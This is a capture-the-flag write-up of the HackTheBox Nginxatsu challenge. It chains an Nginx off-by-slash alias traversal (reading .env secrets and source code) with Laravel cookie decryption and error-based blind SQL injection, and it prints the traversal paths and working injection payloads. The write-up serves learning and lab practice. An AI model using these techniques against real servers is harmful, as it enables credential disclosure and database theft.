d4rkstat1c
5 min readMay 1, 2021

--

Nginxatsu HackTheBox CTF Write-up

Since I really enjoyed this CTF and this is the first blog detailing how to complete it. I decided to release my technique for exploiting this challenge in hopes that others learn from this write-up.

In the initial phase of this challenge you will notice immediately within the homepage of the challenge a direct hint “Generate your own nginx config file”. At this point I believed this was a clear indication that there’s going to be some vulnerability lying within Nginx config file misconfigurations. After you click “Generate Config”, click the generated config file and you will notice it automatically generates a Nginx configuration file. I was suspicious of this configuration file containing similar configurations as the actual deployed Nginx web-server (perhaps the nginxatsu instance is running Nginx and a similar configuration file). After confirming the web-server is indeed Nginx using https://github.com/urbanadventurer/WhatWeb I decided to investigate the configuration file and discovered something interesting:

The location “/assets” is missing a trailing slash aka the “off-by-slash” vulnerability . This leads to a alias traversal vulnerability, theoretically I should be able to provide http://<nginxatsu_ip>/assets../ i.e. I should be able to append any filename I wish to read as long as I traverse into sub-directories within the web-root of the application. So I decided to launch https://github.com/OJ/gobuster against the “/assets../” vulnerable path to see if I could fuzz for any interesting files or paths:

gobuster dir -u http://<nginxatsu_ip>/assets../ -w <wordlist> -x php -t 25

The output from gobuster led me to this interesting file:

/assets../server.php

Which contained the following content:

Ah Laravel framework, interesting, this is usually a fairly secure framework unless additional custom code is added which in rare cases can lead to a variety of different vulnerabilities.

After fingerprinting and mapping the web-application’s source code a bit more by deploying a demo Laravel framework application on my localhost to replicate similar paths/files, I discovered and read some interesting paths/files which led me to:

/assets../app/Http/Controllers/API/ConfigController.php

This disclosed the source code for the config controller:

Did you spot the vulnerability?

User-controlled column names what could go wrong? At this point I’m sure that you understand there’s a clear SQL-injection vulnerability, this is due to the fact that Laravel doesn’t escape data passed to the query builder. So if we can somehow pass a malformed column name to the query builder we should be able to achieve SQL-injection.

if you notice:

The column name is passed to the query builder via our cookie, but wait our cookie is encrypted. How could we decrypt the cookie if we don’t have access to its private key?

Well this application is Laravel which means it’s likely using the APP_KEY within the .env file to encrypt/decrypt session cookies. So after utilizing the alias traversal vulnerability again I was able to disclose the APP_KEY and some other very interesting information:

/assets../.env

This led to the disclosure of the APP_KEY and DB credentials along with the current database name “nginxatsu”. So I wrote a custom php script to decrypt Laravel cookies on the fly using the APP_KEY:

https://github.com/d4rk007/ctfs/blob/main/nginxatsu/laravel_cookie.php

If you decrypt you will notice some serialized php data but pay attention to:

s:5:\”order\”;s:2:\”id\”

This is the column name string that will be passed to the query builder. So in theory if we insert a injected SQL statement into the “order” string we should be able to execute mysql syntax SQL code. After a bit of trial and error I managed to discover the following entry point:

id->\”’)), (<injected sql query>) #

I was able to confirm this was executing a SQL query within the back-end database by using a dynamic error based blind SQL-injection payload. I prefer dynamic error based blind SQL-injection over time based because it’s simply faster. When the server executes SQL code that doesn’t result in a mysql error the response will be 200. This means that in order for us to achieve true/false boolean expression logic we will need to create a dynamic error that occurs at runtime based on a condition. Common blind SQL-injection is usually condition based which results in a alteration of data seen by the client. This CTF can only be exploited with dynamic/attacker created errors or time based payloads. I confirmed the above entry point was indeed injecting SQL code by testing the following payloads:

id->\”’)), (SELECT (CASE WHEN (SELECT 1)=1 THEN ‘SUCCESS’ ELSE (select exp(~(SELECT * FROM (select user())x))) END)) #

Response 200

id->\”’)), (SELECT (CASE WHEN (SELECT 1)=2 THEN ‘SUCCESS’ ELSE (select exp(~(SELECT * FROM (select user())x))) END)) #

Response 500

This confirmed that we can indeed execute SQL queries within the database.

So like usual blind SQL-injection we need to first identify the table we wish to target within information_schema.tables:

Exfiltrate/brute force flag table:
id->\”’)), (SELECT (CASE WHEN (SELECT SUBSTRING(table_name,<pos>,1) FROM information_schema.tables WHERE table_name LIKE ‘%fl%’ LIMIT 1)=’<ch>’ THEN ‘SUCCESS’ ELSE (select exp(~(SELECT * FROM (select user())x))) END)) #

Resulted in: “definitely_not_a_flaaag”

After attempting to locate the flag column I encountered a decoy flag column that is not located within the ‘definitely_not_a_flaag’ table:
id->\”’)), (SELECT (CASE WHEN (SELECT SUBSTRING(column_name,<pos>,1) FROM information_schema.columns WHERE column_name LIKE ‘%flag%’ LIMIT 1)=’{ch}’ THEN ‘SUCCESS’ ELSE (select exp(~(SELECT * FROM (select user())x))) END)) #

Resulted in: “flag”

After making some adjustments we can discover the legitimate flag column within the flag table using this payload:
id->\”’)), (SELECT (CASE WHEN (SELECT SUBSTRING(column_name,<pos>,1) FROM information_schema.columns WHERE table_name = ‘definitely_not_a_flaaag’ AND column_name LIKE ‘%flag%’ LIMIT 1)=’<ch>’ THEN ‘SUCCESS’ ELSE (select exp(~(SELECT * FROM (select user())x))) END)) #

Resulted in: flag_xxxxx

After attempting to brute force the flag column’s row I discovered that ordinary ascii characters were not working. I had to convert the slice sub-string into its corresponding hexidecmial value using the ASCII() function. I also noticed that with each instance of the challenge the flag column’s name changes. Now finally we will begin brute forcing the flag column’s row (the flag):

id->\”’)), (SELECT (CASE WHEN (SELECT ASCII(SUBSTRING(flag_xxxxx,<pos>,1)) FROM nginxatsu.definitely_not_a_flaaag) = <ch> THEN ‘SUCCESS’ ELSE (select exp(~(SELECT * FROM (select user())x))) END)) #

Now all that’s left is to create a POC exploit to automate the json parsing, AES CBC cookie encryption + php serialization and AES CBC decryption + php deserialization within a multi-threaded python3 script that sends the above payloads to the CTF server and brute-forces/exfiltrates data.

https://github.com/d4rk007/ctfs/blob/main/nginxatsu/nginxatsu.py

--

--